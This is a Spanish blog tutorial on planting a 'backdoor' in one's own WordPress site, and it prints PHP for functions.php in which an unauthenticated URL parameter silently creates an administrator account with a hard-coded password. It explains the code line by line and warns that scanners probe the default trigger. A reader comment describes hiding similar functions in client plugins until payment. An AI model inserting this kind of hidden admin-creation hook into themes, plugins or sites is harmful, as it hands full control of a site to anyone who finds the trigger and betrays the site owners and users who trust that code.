Backdoor en WordPress

Backdoor en WordPress

Una de las cosas que me gusta de WordPress, sin duda alguna es la posibilidad de retocar el código fuente y con ella la posibilidad de realizar muchas cosas.

Por ejemplo crear una backdoor o puerta trasera y si este termino se te hace entendible, ahora te lo haremos entender.

[php snippet=1]

¿Que es una backdoor?

que es una puerta trasera

Generalmente una backdoor es una “herramienta” que permite crear accesos ocultos a un sitio web, un servidor web, un servidor ftp, una red local, etc, etc.

La mayoría de estas BackDoor son generadas por error del propio usuario, programador, administradores de red, etc.

Al ser un error por razones muy claras son riesgosas. El otro porcentaje de las Puertas traseras, son generadas bajo el conocimiento de las mismas, lo cual proporciona un pequeño nivel de seguridad.

Pues en este punto, al conocer cuales son y como acceder, se pueden borrar cuando ya no se ocupen, y podrás tomar análisis, aprender cómo mejorarla y para todo tipo de fines de estudio.

Todo lo contrario te enseñaremos a crear una para tu WordPress.

¿Por qué crear un backdoor en mi WordPress?

Imaginemos que por una extraña razón olvidamos las credenciales de acceso a nuestro wordpress o incluso un atacante entro a nuestro sitio web y nos cambio todo.

Si bien existe métodos para recuperar las credenciales, el más rápido es a través de una propia puerta secreta, donde nosotros conocemos el usuario y el pass y de manera automática se crea.

Esté es solo un ejemplo por que claro se puede usar para otras muchas cosas más… la imaginación no tiene limites.

Antes que nada, quiero aclarar que soy fan de varias webs, las sigo y me suscribo, porque llega a mi bandeja promociones, descuentos, sorpresas y nuevos artículos, entonces veo cuales me llaman la atención y cuales no, por ello en el siguiente código (y digo sólo código ) me llegó las novedades de metricspot donde aprendí lo que explicaré en este artículo.

Creando un BackDoor en WordPress.

Como mencione antes el código lo tomé de Metricspot del artículo >> crear puerta trasera acceso wordpress <<  y es el siguiente:

/* Función para crear una puerta trasera en WordPress */
add_action('wp_head', 'puerta_trasera');
function puerta_trasera() {
If ($_GET['backdoor'] == 'create') {
require('wp-includes/registration.php');
If (!username_exists('backdoor')) {
$user_id = wp_create_user('backdoor', 'c0ntra5eNYa');
$user = new WP_User($user_id);
$user->set_role('administrator');
echo 'Puerta trasera creada';
die();
}
}
}

Este código se copia y pega al final de tu archivo function.php (en un taller de WordPress explicaré esto, promesa) y sin más así de simple y sencillo se a creado una puerta trasera, pero ¿Y este código cómo funciona?

Explicación del código backdoor en WordPress

  • La primera línea (add_action('wp_head', 'puerta_trasera');) es un Hook de WordPress, que tiene como finalidad insertar nuestra función que va a permitir crear una puerta trasera. Se podría decir que esta pequeña línea va a permitir la ejecución de la función que se llama “puerta_trasera”
  • La segunda línea (function puerta_trasera() { en si mismo da inicio a lo que sería la función “puerta_trasera”
  • La tercera línea If ($_GET['backdoor'] == 'create') { toma el valor de una variable backdoor recibida desde la URL (Metodo Get) y evalúa si la variable tiene el valor “create”, es decir: El método GET recibe las variables de una página a través de la URL (mipagina.com?variable=valor), Donde variable en este caso es “Backdoor” y el valor en este caso es “create”, lo cual permite generar un tipo de credenciales de acceso, es decir: Si una persona no conoce ni la variable y ni el valor NO PODRA EJECUTAR LA FUNCIÓN.
  • Si las credenciales son correctas, entonces entra en ejecución la cuarta linea “require('wp-includes/registration.php');” y en este caso es hablar al módulo de registro de nuevo usuario de WordPress.
  • La quinta linea “If (!username_exists('backdoor')) {” es un condicional, donde evalua si existe o no el usuario “Backdoor”, en caso de existir dicho usuario entonces, el script se detiene y no continua a los demás procesos.
  • Si el usuario no existe, entra en proceso la sexta linea “$user_id = wp_create_user('backdoor', 'c0ntra5eNYa');“, donde realiza una instancia del objeto usuario (Si algo que tiene que ver con POO) y con ello indicamos al core de WordPress, que nos cree el usuario de nombre “backdoor” y con el pass “c0ntra5eNYa".
  • La septima linea “$user = new WP_User($user_id);” es la que crea al usuario antes instanciado.
  • La octava linea “$user->set_role('administrator');” permite que el usuario creado, tenga accesos de administrador.
  • Las ultimas lineas son con las cuales finalizamos con algun mensaje de usuario creado, usuario existente y el cierre de los corchetes “}”

¿Por qué me tomé la molestia de explicar este código?

La mayoría de los hacker aprovechan los errores de usuarios (como mencione en el post “Temas gratis premium para WordPress” ) para filtrarse en un servidor, obtener datos importantes o fastidiar nuestros sistemas.

Entonces, si bien tú lector, quizás (Y digo quizás) apenas estas aprendiendo sobre este universo de desarrollo web, CMS, MVC, POO, Frameworks, etc. Debes saber que sí, en sí mismo, sólo copias y pegas el código tal cual (Y no dudo que existan personas que así lo hagan).

Alguien que también leyó el tutorial, en estos momentos está escaneando la web, con la intención de encontrar la ruta “?backdoor=create” (original del código de muestra) y filtrarse el tu portal web.

¡Pero tranquilo!!! Ahora ya sabes como funciona y como modificarlo para evitar eso y recuerda “crear una backdoor para wordpress” tiene muchas ventajas y objetivos.

One thought on “Backdoor en WordPress”

  • Buena idea, peligrosa pero simple y efectiva..

    Yo suelo poner una fecha de expiración usando TIMESTAMP en mis plugins,, cuando el cliente paga, recién entonces elimino la funcion o le explico como hacerlo..

    buen post.
    Saludos !

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *